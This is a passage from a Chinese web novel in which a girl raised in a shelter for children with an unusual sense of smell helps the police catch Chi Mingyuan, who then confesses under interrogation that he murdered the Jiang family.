但他们绝对不是随便收养孩子,这些孩子都是从各地送过来的。 当地的流浪儿,他们连看都不看一眼。 再往后,收容所里还搬进来各种仪器,有人频繁带着池茗去检查身体。 池茗印象最深的是一个医生,其他人都听他的话,他来的次数最多,检查得也最详细。 后来他似乎找到了想要的数据,很高兴,来的次数就少了。 再然后…… 池茗就知道他们在做什么了。 她的嗅觉很灵敏,他们想研究她身上的秘密。 其他的孩子也是类似的情况,但总体来说,池茗的能力最强。 她的能力一直在变强,大概在15岁时停止,再也没进步过。 15岁那年,她察觉到身体的变化,其他人也能察觉到。 对她密切的监测停止了,曾经对她点头哈腰的人态度有了微妙的变化。 池茗曾一度绝望,她疯狂地要自己继续进步,但完全做不到。 随后,那些人发现,这些孩子中,能力最强的就是池茗,于是又恢复成从前的态度。 所以池茗也没把他们当作同伴。 她只是需要可以生存的方式,很好地生存的方式。 池茗的小灵通响起。 她瞥了一眼陌生号码,犹豫片刻才接起电话。 男人的声音也很陌生,但池茗又觉得很熟悉。 她几乎立刻想到了声音的主人。 池茗皱眉问:“你怎么会打电话给我?” 吴元青惊讶道:“你知道我是谁?” 池茗:“……” 吴元青说:“你别激动,我没有别的意思,只是想确认你的安全,还有……其他人的安全。” “其他人?” “收容所的孩子们,”吴元青道,“几乎都是女孩子吧?她们和你一样,都是被拐到长峡的,都失去了父母,我想她们的父母找她已经找得心力交瘁,你……能放过她们吗?” 池茗冷笑,“我放过她们,就会有人不放过我了,难道要我为了这些和我没关系的孩子,连自己的安危都不顾?” 吴元青说:“可你在那边的日子也很危险。” 池茗声音更大,似乎更想说服自己,“不用过挨打的日子,还有一群人追随,不用为钱发愁,这日子还叫危险?” “他们在利用你。” “我也在利用他们。” “我只是想让你知道,你还有另外一条路,我一定会尽量帮你。”吴元青真诚道,“你才16岁,一切都来得及。” 池茗心情复杂。 她……来得及吗? 她为了避免挨打,和其他人一起把女孩锁在收容所里。 她哄骗她们,让她们相信她是来帮助她们的,让她们乖乖听话。 夏夏几人失去利用价值,男人一心想让她们死,她没能拦住,还帮忙抛尸。 抛尸的过程中被流浪汉看到,她也没阻止男人杀人灭口。 来不及了。 池茗冷漠道:“我讨厌说教。” 吴元青再次重复,“我只想帮助你,我女儿失踪时,和你一样大。” 池茗反问:“如果你见到你的女儿,会认出她吗?” 吴元青沉默。 他不能肯定。 池茗站在他面前时,有一瞬间,他觉得这就是自己的女儿。 可她现在的容貌,他又不敢认。 池茗失望道:“你果然不认得。” “不是的,”吴元青说,“女儿长大了,容貌变了,没办法,但就算如此,我也不会放弃找到她。我……我这里有她小时候的照片,你看看就知道了。” 池茗一怔,接着火速挂断电话,心脏怦怦直跳。 她也不知自己为何如此激动,她好像在害怕什么。 池茗不安地在屋内走动。 小灵通再次响起来。 池茗头皮发麻,她似乎不敢再和吴元青对话。 不过这次不是吴元青打来的。 熟悉的声音响起,对方询问她曼德的下落。 池茗浑身一颤,脑中涌现一些不好的回忆。 她总是被迫做身体检查,还要吃些奇奇怪怪的药。 这些年,她和他接触的时间最多。 池茗老老实实地答道:“最近没见过他。” 男人嘀咕道:“真是怪了。” 池茗问:“您有什么吩咐吗?” “没事,”男人恢复冷静,“见过池明远吗?” 池茗疑惑道:“他也会来长峡吗?他不是绝对不会进入华国境内?” 他们这些人都是池明远张罗起来的,池明远野心极大。 后来他们不再缺钱,也是因为有池明远出资。 但他们从未见过他。 私下里都传,池明远进入华国境内就会死。 池茗也不知是真是假。 男人没有回答池茗,他说道:“你们尽快转移,那几个孩子如果带不走就算了,最重要的是你,你要安全。现在立刻来龙星岗,我来为你安排。” 果然出事了。 池茗呆坐在床上。 会出什么事?池明远的势力不是很大吗?收容所到现在一直安然无事。 还是曼德出事了?也不应该。 池茗拧眉走出房间。 孩子们都在熟睡中。 有几个孩子刚被带过来,情绪不太稳定,每天晚上都要哭闹。 池茗就是为了照顾她们,才一直没睡下。 池茗走到孩子们的卧室前。 她现在应该按照男人的命令,带着她们转移。 可池茗眼前莫名出现夏夏的脸。 夏夏很喜欢她们,不管她们对夏夏做什么,夏夏都认为是友好的。 她把她们当成姐姐,当成家人。 她以为,如果没有她们,她就活不下去了。 其实刚好相反,正因为她们,她才失去了家人。 池茗心里很乱。 她退到房间,踱步良久,鬼使神差地给吴元青打去电话。 吴元青叫了声她的名字。 池茗一直沉默。 吴元青便说:“没关系,我可以等你。” 他很耐心,没有催她。 池茗也不知过了多久,她能清楚地听到吴元青的呼吸声。 知道吴元青一直没有挂断电话,这让她有很安心的感觉。 池茗终于下定决心,问道:“那些孩子走失的父母,真的会一直找她吗?我……我的爸爸妈妈也会找我吗?” 吴元青温和道:“小玉有个姐姐,也是孤儿,她刚和母亲团聚。她的母亲为了找她,走遍大江南北,是流浪汉遇害后,她们才发现的。” 池茗怔住。 流浪汉……是被他们害死的流浪汉。 原来还有这个故事。 池茗说:“我知道了,谢谢,再见。” “等等,”吴元青打断她,“我知道你的意思了,我现在可以过去,也可以帮你联络警方,你不需要担心,他们都会帮助你。” 池茗犹豫道:“可是很危险。” 吴元青笑道:“正因为危险,才应该是我们去做。” * 一直到晚上,几人都没能等到池明远。 池昭逐渐不安。 桑白玉没想到他是第一个沉不住气的人。 但稍微一想她便明白了,姜家就在附近,他能冷静到现在,已经很好了。 桑白玉主动说道:“我们出去逛逛吧,顺便买晚饭回来。” 池希反对,“我哥眼睛不好,尤其是晚上,出门太危险了。” 方小满惊讶道:“你一直很听小玉的话。” “这……这不一样嘛,”池希小声说,“我哥眼睛确实不好,我记得他还在楼梯上摔下来过。” 池希的声音越来越低。 他现在回忆起池昭,想到的都是他被漠视的场景。 譬如那次摔倒。 池昭眼睛发病,而且很突然,直接从楼梯上摔了下来。 孟简不在家,只有池希和池明远在。 池希一直在打当时宁蓝很流行的游戏,没注意到池昭。 池明远看到后,第一反应是皱眉,“你搞出这么大的声音,我还以为是家里进人了。” 然后他便去检查家里的安保系统。 池明远从未关心过池昭。 桑白玉说:“我知道的,你别担心,我会小心一些。” 池希说:“就算要出门,也该找厉害的人陪着我哥啊。” 桑白玉惊讶道:“这里还有比我更厉害的人?” 方小满:“……” 边斌:“……” 池希:“……” 方小满怒吼,“你不要再招惹她了!!” 为什么她也跟着中枪! 池昭难得弯起唇,“不用担心,我不是废人,我的眼睛还算正常。” 桑白玉扶着池昭下车。 他说:“我想去姜家看看。” 桑白玉知道他的意思,拉着他往姜家走。 池昭眼睛的状态还不错,能看得清楚。 不过他没有说出来,任由桑白玉拉着。 桑白玉带着池昭往人多的地方走。 池昭奇怪道:“不是去姜家?” “去啊,先去其他地方看看,”桑白玉道,“你放心跟着我,我不会把你带进沟里的。” 池昭:“……” 附近有好几个胡同。 春城实在太小,只有主街上人多。 桑白玉先去了姜家,然后沿着姜家胡同往前走,一直走到主街,果然有几个上了年纪的爷爷奶奶坐着聊天。 桑白玉打听道:“您知道姜家吗?房子破破烂烂的那家。” 池昭刚想说桑白玉打听消息的方式太直接,可能会吓到对方,就见爷爷奶奶们拉住桑白玉的手,“呦,你是谁家的孩子?长得可真俊啊。” “这叫漂亮!看着就讨人喜欢。” “是姜家的孩子吗?不能吧,姜家已经没人了啊。” “难道是玉玲那孩子回来了?” 听到母亲的名字,池昭心念微动。 桑白玉乖巧地蹲下,“是的呢,我的母亲去世了,她走得很早,我对她很陌生,所以想来听听她的故事。” 这下子爷爷奶奶们更怜惜了,“唉,可怜的孩子,原来你是玉玲的孩子。” “那岂不是姜教授的外孙女?” “唉!真是可怜的孩子!” 几人七嘴八舌,面对桑白玉,毫无设防之意。 池昭:“……” 有时候面善也是一种能力。 很强的能力。 “你外公是咱们省会科学研究院的,研究的都是什么国家重点项目,具体的咱也不知道是什么,听说要保密。他可厉害了,留苏大学生,本事可强!” “她外婆也不错啊,算是艺术家?书香门第?而且家里蛮有钱的。” “还有其他几个孩子,都是大人物呢,玉玲也很好,她和你外公在一个单位 ,这叫什么?都是大科学家!” 桑白玉委婉道:“妈妈的性格好吗?” “那可是真的挺不错!”老奶奶眉开眼笑,“你妈妈办事稳妥,挺泼辣的,谁都不怕,但又很有礼貌。我以前教育孩子,都拿你妈妈做榜样。” “玉玲如果还活着,可真了不得。” “你妈妈怎么会走了呢,她当年不是逃出去了?” 桑白玉叹气,“她失踪了,我最近才发现她的遗物,得知她已经走了。我也在找凶手,我听说外公一家人都……真的是我妈妈做的吗?” “不可能!”老奶奶破口大骂,“你妈妈最孝顺了!不仅是对她爸妈,她对我们都很孝顺!经常跑来帮我们干活,谁叫她,她都高高兴兴应下来。他们兄弟姐妹感情最好,她怎么会杀人?!那帮警察乱说的!” “就是,孩子,你可别信这话,你妈不可能杀人,说我杀人都更可信!” “你啊,你确实不太像好人。” “……” 大家七嘴八舌地帮姜玉玲伸张正义。 在他们心目中,姜玉玲是个明媚且正义的人。 她只会路见不平拔刀相助,不可能对家人动手。 他们还说,姜家人都是很好的人,性格温和,从不欺负邻居,谁家需要帮忙,总是姜家人第一个到场。 当初姜家出事,他们还自发地去巡逻、找凶手,可惜没找到有用的线索。 池昭安静地听着。 原来他也有很好的家人。 他的母亲不是凶手,是受害者。 大家骂了好一会儿,都有些伤心。 姜家人是他们的老朋友,当年发生这种事,他们连续几个月都没睡好。 桑白玉见好就收,她最后问道:“你们听说过我爸吗?他姓池,来过家里吗?” 几人迷茫道:“还有这么一号人?” “玉玲当时就交男朋友了?” “其实我听警察说过几句,还怀疑玉玲是为了男人动手,也怀疑过那个男人,但这真不可能,玉玲不是这种人。” 池昭悬着的一颗心彻底放了下来。 桑白玉把池昭带到姜家门前。 “你看,阿姨不可能是凶手,她一定是被骗了,是池明远故意接近阿姨,目的是那份绝密资料,还害死了大姐的战友。” 池昭笑笑,“你带我过来,就是想安慰我。” 桑白玉点头,“你冷着脸时,不如笑的时候好看,我比较希望你好看一点儿。” 池昭哭笑不得。 他笑道:“我知道了,现在最重要的事情就是在华国境内抓住池明远,我妈是怎么死的,只有他知道。” 桑白玉说:“他如果要来取这笔钱,应该快过来了,他的乔装水平好吗?我们会不会认不出他?” 池昭拧眉,“我不太清楚,不过我们已经把银行的人控制住了,没人能给他通风报信,他只能亲自过来一趟,我想依他的性格,是不会放弃这笔钱的。最重要的是,我怀疑这里不只有钱。” 桑白玉点头,“那就继续等着吧。” 晚上银行不营业。 不过桑白玉几人还是轮流看守,以免出现问题。 翌日一早,桑白玉去买了早饭,看到银行的工作人员陆陆续续上班。 这几名工作人员都是后安排过来的,原先那批人都被控制在家里。 桑白玉聚精会神地盯着银行门口。 方小满打着哈欠说道:“今天我盯后门吧,这个池明远很怕死,后门也很重要。” 桑白玉还是有些担心。 就在这时,桑白玉接到一通电话。 话筒里传来的声音很陌生,但桑白玉意外地认出了她。 池茗的声音很低,“他……扮成了女人。” 桑白玉:“……” 池昭:“……” 边斌:“……” 池希绝望地向后倒去。 他爸……扮成了女人?!啊?! * 收容所彻底乱了套。 几个工作人员刚起来,就发现收容所内的孩子都消失了。 池茗最后走出来,和其他人一起大惊失色。 这些孩子是她和吴元青转移走得,吴元青想让她也离开,但被池茗拒绝。 从接到男人的电话起,池茗就觉得,一定有重要的事情发生了。 她好像还能做些什么。 孩子消失,几人的愤怒都扑向池茗。 “怎么会出这种事?!走了这么多人,你一点儿都没感觉到吗?!” 池茗冷着脸说:“只要我一个人看着,还要你们做什么?与其在这里责备我,还不如尽快去找人。” 然后她鼓足勇气给男人打了电话。 每次和男人通话,她都要准备很久。 男人没有接电话,池茗其实是松了口气的。 其他人又给其他“领导”打电话,意外得知,池明远已经到了长峡市。 池茗立刻提出将功赎罪,要去保护池明远。 对方当然拒绝,不过池茗和他通了两分钟的电话,听到了船的鸣笛声。 长峡是内陆城市,不靠海,但有一条很宽的河。 池茗立刻赶去过船的渡口,靠气味寻找池明远,还真被她找到了。 不是池茗的能力有多出色,而是池明远的阵仗太大。 他身边全是保镖,这些人一看就不是善茬。 池明远躲在船舱内。 池茗一时间都不知道他是想保护自己还是试图泄露坐标。 池茗在外围观察很久,都没看到池明远。 后来她才发现,不是池明远消失了,他就在船舱里,只不过他穿的是女装。 池茗给桑白玉打完电话,心里很是舒坦。 这一刹那,她有一种自己是正义小警察的感觉,他们应该会表扬她吧! 然而就在池茗收起小灵通的瞬间,身后忽然涌来不同寻常的气味,有人逐步靠近池茗,“那家伙,不对劲。” * 池茗通风报信后,桑白玉更是全神贯注,这回连老人都不放过。 池希更是积极,街边的流浪小孩儿都要盯着看好一会儿。 方小满问:“你认为池明远会伪装成孩子?” 池希严肃道:“我爸很聪明的,我们不能掉以轻心。” 方小满:“……你真的认为他能伪装成孩子?他有缩骨大法??” 池希:“……,哦,是的,骨头不能缩。” 方小满的白眼差点儿翻到天上。 有池希在,她都不是最笨的一个了! 又等了一天一夜,池明远还没露头。 桑白玉又给池茗打了一通电话,却始终没人接听。 桑白玉莫名其妙地担心池茗。 她给吴元青打去电话,想让他帮忙留意,可吴元青也没接电话。 桑白玉心神不宁时,方小满忽然用力推搡她,“那里有个奇怪的人!” 桑白玉看向车外。 池昭说:“等他进入银行后再动手,防止抓错人。” 虽然这样说,但池昭的目光却是汹涌澎湃的。 桑白玉看得出来,他很确定此人就是池明远,只不过习惯了小心谨慎。 被他们“盯上”的是个“女人”,而且是刚被“欺负”过的女人。 他十分狼狈,衣服被撕扯坏了,假发也是错乱的。 他坚定地走进银行。 几人立刻行动。 桑白玉走进银行之前,特意在门外等候,池明远竟然真的是自己来的,没带其他人。 怪了,按照他的性格,为了保住自己的命,应该带大批人马来保护他才是。 桑白玉向里走去。 里面传来男人的叫声,接着是其他办业务的人的尖叫。 桑白玉走进去时,男扮女装的人已经被扣住。 她看着被方小满按在地上动弹不得的男人,嫌弃道:“这会儿想起来扮女装了,想给女人丢人哦,把他扔进车里,等警察过来!” 池明远被押送回长峡。 部队的人过来了一趟,看他们的样子,像是想把池明远直接活吞了。 不过他们还是克制着情绪,要求按照程序进行。 长峡警方严阵以待,段浩早已准备好,池明远刚到市局,就被押到审讯室。 局长亲自来坐镇,还有几个大佬在隔壁房间观察,场面十分严肃。 方小满心满意足地躺在会议室的椅子上,其他人都在。 她伸了个懒腰,说:“这下大姐和二哥不用再过苦日子了,我们终于可以回长峡了!” 桑白玉说:“我们不是已经回来了吗?” “那不一样,以前心里总还记挂着那件事,现在不用了,我们可以安安心心地做生意了!我觉得吧,我们得对玉石店上点儿心,现在的钱越来越难赚了!” 吴元青:“……” 玉石店再不赚钱,就没有赚钱的店了。 方小满是对他们还没成为全国首富感到不满吧? 池茗拖着一身伤走进会议室。 吴元青一惊,起身过去迎,“不是送你去医院了吗,怎么又过来了?” 池茗下意识瞥向桑白玉。 闯进收容所的人果然是她。 池茗淡淡道:“已经做过处理,无大碍。” “那也不行,”吴元青坚持道,“伤筋动骨 一百天,你怎么也得在医院休息个半个月,快点儿回去。” 池茗一动不动,“你骗人。” 吴元青莫名其妙道:“我?我骗你什么了?” 池茗一言不发。 她还是爱闹别扭的年纪。 吴元青无奈道:“你说吧,不管什么要求,我都满足。” 池茗瞥向吴元青,故意不用正眼看他,嘀嘀咕咕道:“你说要给我看你女儿小时候的照片……” 吴元青一怔,弯唇笑起来。 他掏出钱包,递给池茗。 池茗嫌弃道:“我有钱,我才不要你的钱。” 吴元青笑意更深,“里面有照片。” 池茗半信半疑地接过钱包。 吴元青的钱不多,钱包很薄。 这些年他的工资虽然不低,但省吃俭用,还要邮给家里的老人和前妻。 前妻是因为女儿失踪才精神崩溃的,现在好不容易能过上正常的日子,不容易,他得多照顾。 池茗翻开钱包,果然看到里面放着一张旧照片。 照片实在太旧了,表面布满沟壑,而且被人折叠过。 池茗仿佛能看到,有人一遍又一遍地抚摸照片,她能感觉到照片上的温度。 池茗看着照片中的人,说:“可惜了。” 另一边桑白玉也很放松。 也只有她和宁红英能放松了。 苏蓝移和惠海铭一言不发,池明远必死无疑,他们心中却没有多少轻松的感觉。 不管池明远死多少次,他们的亲人朋友都不会再回来。 惠海铭无比失落。 池昭和池希更是一言不发,安安静静。 桑白玉和宁红英只能小声庆祝,“太好了,大姐再也不用担心了。” “是啊,我们终于能过正常的生活了。”宁红英道,“不过让我丢下技能还有点儿可惜,我是不是该去部队?” 桑白玉肯定地点头,“你很适合。” “孩子们怎么办?”宁红英看向吴元青。 吴元青和池茗连夜把孩子们转移走。 他又带人去解救被池明远手下殴打的池茗,双方起了冲突,池明远狼狈逃走。 现在孩子们都在医院接受检查呢。 吴元青闻言说道:“登报吧,尽全力帮她们找到父母,要给她们一个交代。” 宁红英说:“我来帮忙……如果不违反规定的话。” 吴元青是知道宁红英的本事的,只要是和电有关的,什么东西都能搞一搞。 他头痛道:“你还真得收敛,这是长峡,不是龙星岗。” 池茗漫不经心道:“我还记得她们是从哪里来的。” 几人看向池茗。 池茗不自在道:“我不是想帮忙,我只是不想进少管所。” 她这么一说,吴元青的心情沉重起来。 池茗和多起案件有关,她也要接受调查。 还有流浪汉的死…… 吴元青沉默。 桑白玉安慰道:“想点儿开心的事情,我们还得帮孩子们找家人呢,对了,已经联系到夏夏的家人了,夏夏的家人一直在找她,没有放弃。” 池茗的心紧了一下,落寞道:“找到又有什么用,人已经没了。” “不是哦,”桑白玉说,“夏夏还活着,她运气很好,坠落时有缓冲,虽然受伤了,但不致命,如果小心养护,也不会留下后遗症。” 池茗惊讶道:“夏夏?活着?你确定?” 她明明亲眼看到…… 桑白玉说:“等你接受完调查,可以去见她。” 池茗完全愣住。 在那种情况下,夏夏竟然还能活着?! 只有池昭盯着审讯室。 池明远就在里面。 他必死无疑,没什么可辩驳的,他应该会把姜玉玲的去向说出来吧? 审讯室内,段浩看着让宁蓝国头疼多年的男人,一阵无言。 池明远被抓住后,就陷入癫狂的状态,完全没有从前的影子。 他疯狂地叫嚣,他一会儿哭一会儿笑,嘴里喊着不想死。 段浩冷着脸说:“你手底下的人已经全部交代了,你这些年做的事情,每一件事都交代得清清楚楚。你已经跑不了了,早点儿坦白,还能安静地离开。” 池明远撕心裂肺地叫嚷。 他嚷了足足一个小时,终于筋疲力尽,无力地躺在椅子上。 段浩问:“可以说了?” 池明远看向段浩。 他搞不明白,为什么一瞬间所有人都背叛了他。 池明远问:“你们给了曼德多少钱,他为什么背叛我?你们给了朱安华和陈志明多少钱,他们怎么敢这样对我?!” 段浩说:“不是只有钱能收买人心。” “可朱安华和陈志明都不是好人!他们眼里只有钱!” 段浩微笑,“命也很重要,他们也惜命。” 段浩道:“这些年,部队一直没有放弃找你,尤其是惠海铭。” 池明远茫然地看着段浩。 “我知道得不多,”段浩说,“可以让她进来和你详谈。” 池明远忽然意识到什么,再次剧烈地反抗起来,“不!我不见她!我不想死!” 段浩发现,池明远很害怕惠海铭。 他已经猜到惠海铭的身份。 “既然不想见她,就老老实实交代,我没那么多时间和你纠缠。你是否交代,结局都一样,当年你残忍杀害同伴,背信弃义,背叛华国,桩桩件件,都够你死十回了!还是趁着能开口,多找几个人出来给你陪葬,他们可都是背叛你的人。” 这话算是说到池明远的心坎上。 他是没指望了,那些人也别想过得好。 池明远麻木道:“你们查得都对,是我杀了……” “等等,”局长示意他暂停,“有个人得进来。” 局长看向段浩。 段浩也不知局长指的是谁,疑惑地走出去,就见和池明远有几分相像的俊朗男人走过来。 段浩奇怪地看着他。 这人真怪,在室内还要戴墨镜。 像是有钱的暴发户。 池昭礼貌地伸出手,“你好。” 段浩点点头,“你认识我们局长?” “不认识,我的领导应该和他打过招呼。” 池昭说完,向审讯室走去。 段浩直犯嘀咕。 听池昭的口气,他的领导好像比局长还厉害? 这些人真是深藏不露。 池昭走进审讯室。 池明远瞪大眼睛,很意外,又没那么意外。 池昭说:“不用看我,我是他们的人。” 池明远:“……” 池昭补充,“从始至终都是,从我十岁那年起就是,这些年你做的所有事都在他们的掌控之中。” 池明远:“……” 段浩明显感觉到,池明远可能要被气死了。 他低声提醒,“口供,咱们要口供。” 可别真气死了。 池昭说:“说吧,害死姜家的人是你吗?” 池明远脸色愈来愈差。 姜家……很遥远的人。 他也没想到会那么快就动手。 最开始认识姜玉玲时,池明远对姜玉玲没什么兴趣。 姜玉玲这个人脾气暴躁,很有想法,不是好控制的人。 她倒是看上池明远了,那会儿的池明远每天训练,身材不错,脸也好。 可惜这些年他已经懈怠,连个女娃娃都没打过。 池明远原本对姜玉玲敬而远之,直到了解姜玉玲的家庭。 姜玉玲家里每个人都不简单,尤其是她在部队里的舅舅。 池明远有很多想法,但是缺钱。 他早就有去宁蓝国发展的想法,但缺个投名状。 池明远想在姜玉玲家里搞个投名状。 姜玉玲的舅舅很 欣赏他,认为他是个踏实肯干的小伙子。 姜家其他人听到舅舅表扬他,也很喜欢他。 虽然池明远还没见过姜玉玲的家人,但他敢肯定,他们会接纳他。 然而天有不测风云,他在外做的那些生意居然被姜玉玲的舅舅发现了。 当时这些在华国都是禁止的。 姜玉玲的舅舅觉得池明远不诚实,有很多小心思,对他的印象大打折扣。 在他的影响下,姜家其他人对池明远的印象也不好了。 只有姜玉玲,她一直以为池明远是个普通人。 池明远担心再拖下去会出现意外,于是提前行动,偷走了那份事关国家国防机密的投名状。 随后,他赶到姜玉玲家中。 原因无他,他发现姜玉玲父亲,这位科学家,手里也有不少好东西,都能卖个大钱。 最开始只是进去偷窃,后来被人发现,再往后就一发不可收拾。 这一切姜玉玲都不知情。 完成这些事后,池明远把姜玉玲带到宁蓝国,谎称他找到了失散的家人,要去宁蓝定居。 姜玉玲最开始是不同意的,但到宁蓝国后她就怀孕了。 池明远主动求婚,两人举办了西式婚礼。 这以后,池明远靠着那笔钱做起了生意,渐渐发家。 姜玉玲因为孕期身体各种不适,一直没机会回家。 池明远总是哄骗她,说家里一切都好。 姜玉玲发现不对劲时,是在池昭出生后。 她对味道特别敏感,那天她闻到池明远身上有其他女人的味道。 除此之外,她还嗅到了舅妈的味道。 姜玉玲很惊讶,池明远去见舅妈,无论如何都该和她说一声。 姜玉玲没有打草惊蛇,池明远发家的速度太快,她早就怀疑他究竟在做什么生意。 她暗中调查,果然发现更多证据。 最让她崩溃的是,她试图联系家里,却意外得知他们都已经遇害。 姜玉玲无比悲愤。 她想回华国,却被池明远囚禁在家里,每日都有人看着她。 不管姜玉玲是大骂还是哀求,池明远就是不愿意放她走。 他说他在姜家被瞧不起,他要姜玉玲看着他的势力越来越强。 而且,他还要姜玉玲抚育池昭。 池昭的拳头攥起很久了。 段浩担心他情绪过于激动,会对池明远下手,特意挡在他面前。 池明远怪笑道:“我就是要关她一辈子,她凭什么对我吆五喝六,她不就是比我幸运点儿,有个好家庭吗?我伺候她那么多年,也该换一换了!” 他看向池昭,“你生气吗?很愤怒?你有什么好生气的?没有我哪儿来的你!你就是不知足!你是忘本!这些年我给了你多少,你居然背叛我!” 池昭闭上眼睛,轻轻吐气。 池明远神色张扬,“我可以告诉你,我做的事情还不止如此,我还做了更多!我最后悔的事情,就是让姜玉玲逃了!她居然还能逃走!不过我敢保证,她一定已经死了,她活不下去!” 池昭猛地睁眼,“你说什么?你说,她是逃走了?”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【正文完结】 第67章 对桑白玉来说,现在最重要的工作就是找到被拐孩子们的父母。 她想用自己的能力帮忙,可惜这些孩子的家乡离得太远,她没办法判断准确。 桑白玉和方小满忙了一会儿,医院那边打来电话,说是有一个孩子的情况不太好,他们不知道该怎么处理。 其他人都忙着,大姐、二哥的情绪都不好,桑白玉主动去处理这件事。 吴元青起身说道:“我和你一起去吧。” “不用,”桑白玉朝他眨眨眼睛,“你也有要做的事情,留下来吧,一会儿她也要进去。” 吴元青看向池茗。 池茗不自在道:“我不是你女儿,我小时候不长这样,不需要你陪。” 吴元青心头苦涩,不过这一结果他早就猜到了。 他当年得到的消息是女儿被带到宁蓝国,池茗一直生活在长峡市。 长峡市和龙星岗虽然挨着,但也不一样。 吴元青道:“你也要接受调查,我毕竟是警察,比较了解,我和你一起吧。小玉,你小心。” 桑白玉摆摆手,“只是去趟医院而已,有什么好小心的?那边都是部队的人,很安全的,我马上就回来。” 桑白玉和方小满赶往医院。 方小满的父亲虽然也是被池明远害死的,但她才刚知道,心情起伏没有惠海铭那么大,她的状态还不错。 方小满唠唠叨叨道:“最重要的工作明明就是给孩子们找到家人,我看警力应该都放到这里。不过审池明远也很重要啦,得把他们的人都抓起来,我不相信就收容所的那几个人能支起这么大的摊子。” 桑白玉也是这样想的。 在收容所外面,一定还有更多的人。 桑白玉说:“那几个人已经被抓起来了,都不是什么硬骨头,好审,就看池明远会不会咬人出来了。不过就算咬出来,也涉及两个国家,还是难办,池明远恐怕真能多活两年。” 就他的这些罪证,都要花大量时间来清理。 说话间,两人已经到医院楼下。 方小满放好摩托车,桑白玉正要往医院里走,一个穿着白大褂的男人走了过来。 方小满低声对桑白玉说道:“这人好像有点儿眼熟。” 桑白玉看向男人。 是眼熟,但不是长相眼熟,而是……气味。 只是一瞬间,桑白玉便想起是在哪里闻到这股气味。 她瞪大眼睛,下意识想把方小满拉走。 医生忽然看向二人,露出奇怪的笑容,“我们见过面吗?” * 审讯室内,池昭情绪激动地站起来,“你说我妈是逃走的?!” 池明远说:“事到如今,我还有什么好撒谎的?我是不明白她是怎么逃走的,明明已经派很多人盯着她,一定有内鬼!” 段浩无语,“你看谁都像内鬼,连你身边的助理、保镖你都觉得是内鬼,你还有信得过的人吗?” 池明远不在意道:“他们都是小角色,信得过也好,信不过也罢,有什么关系?要对一切保持怀疑,才不会轻易掉进陷阱。” 段浩说:“你就是对一切都太怀疑,现在才会被抓吧?” 池明远:“……” 池昭摇了摇头,“不对,我妈是被人抓走的,她的资料曾经出现在收容所。” 池明远看向池昭,“收容所?什么收容所?” 此话一出,审讯室内所有人都愣住。 抓到池明远,就是抓到了最大的BOSS,他们以为收容所的案子已经结束了。 池明远……不知道收容所? 这不可能。 段浩急道:“你在长峡市搞了个收容所搞研究,还杀了几个孩子和一个流浪汉!你别想逃避!” 池明远露出森然的笑容,“我杀过比他们更重要的人,我杀的人还少吗,需要否认?” 段浩惊骇地看向池昭。 池明远说得对,他连姜家和卖国害死战友的案子都承认了,没理由不承认收容所的案子。 难道……池明远真的不知道收容所的事? 可他们都说自己是池家的人,池茗甚至姓池! 池昭很快恢复冷静,“你不认识池茗?” “不认识。” “她在船外见过你。” “哦,原来是她,”池明远说,“该死,就是她通风报信,她死了吗?” 段浩:“……” 池昭重新坐下,迅速问道:“我妈的嗅觉异常敏感,你知道吗?” 池明远问:“那又如何?” 池茗:“你不想研究?” “研究她的嗅觉,”池明远白了池昭一眼,“研究这些能赚多少钱?对我有什么好处?” 池昭:“……” 他们都搞错了,建立收容所的人不是池明远。 可收容所利用的是池明远的势力,幕后之人会是谁? 池昭说:“现在恐怕要先审另一个人了。” 池茗被带进审讯室。 她交代得比池明远还痛快,“流浪汉是看到我们转移尸体才被灭口,我就在现场,不过动手的不是我。” “哦对了,还有夏夏几人,我真的不是想脱罪,我确实不想杀人,但是……没办法,我只能帮忙处理尸体。” “还有什么呢,以前也 有过发生命案的情况,我得慢慢想。” 段浩打断她,“这些先不用说。” 池茗惊呆了,“这些都不重要?!” 命案都不重要了?! 池茗说:“那是问提拉德吗?他是我的朋友,也是个瘾君子,我们是在长峡认识的,我拜托他带我走,他答应了,然后他就……被害了。” 池昭打量着池茗。 他们同姓,池昭以为,池茗是池明远最得意的作品。 可池明远说他不认识池茗。 池昭问:“收容所的幕后之人是谁?” 池茗再次愣住,“呃,我们都听池明远的吩咐做事。” “你见过池明远?” “……没有。” “其他人见过他?” “好像也没有。” “和他通过电话吗,记不记得他的声音?” “……” 池茗茫然了很久,才抬起头,“这么说起来,我好像从来都没和池明远直接接触过,都是他们转达的。” 池昭问:“他们是谁?” “就是……”池茗困惑道,“就是他们啊,大家都这样说,那个五大三粗的人,好像很有势力,每次来身后都跟着很多人,他是宁蓝国人,没告诉我们姓名。” 池昭猜测道:“是曼德吗?他是宁蓝的军人,你有印象吗?” 池茗恍然大悟,“那就对了,他看着的确像军人,但又没那么厉害,原来是宁蓝的军人。” 段浩道:“原来幕后之人是曼德,曼德利用了池明远,他想用池明远做掩护,让他背锅。” 池昭拧眉,“可他为什么要这样做?” “你们不是控制住他了吗?抓起来问问。” 池昭说:“只是私人控制,没有证据,没办法把他带到长峡。” 段浩指着池茗说:“让她当证人,受害人都是咱们的人,完全可以。” 池昭依然皱着眉。 他不知道曼德为何要这样做。 池昭和曼德打过很多次交道,这个人一直表现出来的都只有贪婪。 他爱钱,只爱钱,还喜欢吹牛。 他为什么要研究味觉? 池昭想到他的身份。 曼德毕竟是宁蓝国军方的,气味对他们来说…… 池昭问池茗,“你去过他们的老巢吗?” 池茗反问:“什么叫老巢?” “应该在宁蓝那边,甚至可能就在龙星岗,他们要研究你的嗅觉,总要有目的。” 池茗说:“闻过武器。” “什么武器?” “什么都有,”池茗说,“比如弹药,他们让我写出里面的成分还有配比,甚至是坦克,他们想让我闻出安装坦克的步骤,但很可惜,我可没有这么强大的能力。” 池昭意识到,池茗的能力和桑白玉差距很大。 她做不到桑白玉的程度。 段浩震惊道:“他们是想靠你们做出武器?!” 局长沉声道:“曼德毕竟是宁蓝部队的,看来他的真实目的和池明远完全不同,我们要尽快和上级沟通。” 段浩问:“他们做出来了吗?” 池茗点头,“他们总是带来新奇的东西,让我去判断成分,还要判断如何组装的,有的我能判断出来,有的判断不出来。” “哪国产的?” “都有,有很先进的,也有看起来很老旧的。” 宁蓝只是小国家,武器装备很差。 曼德的目的是让宁蓝国变得强大。 池昭又问:“还有其他重要人物吗?” “有个医生,”提到医生,池茗紧张地舔了舔嘴唇,“他会定期来收容所给我检查身体,还会给我开各种药,好像都是能促进嗅觉的,我也不知道管不管用,反正一直吃着。” 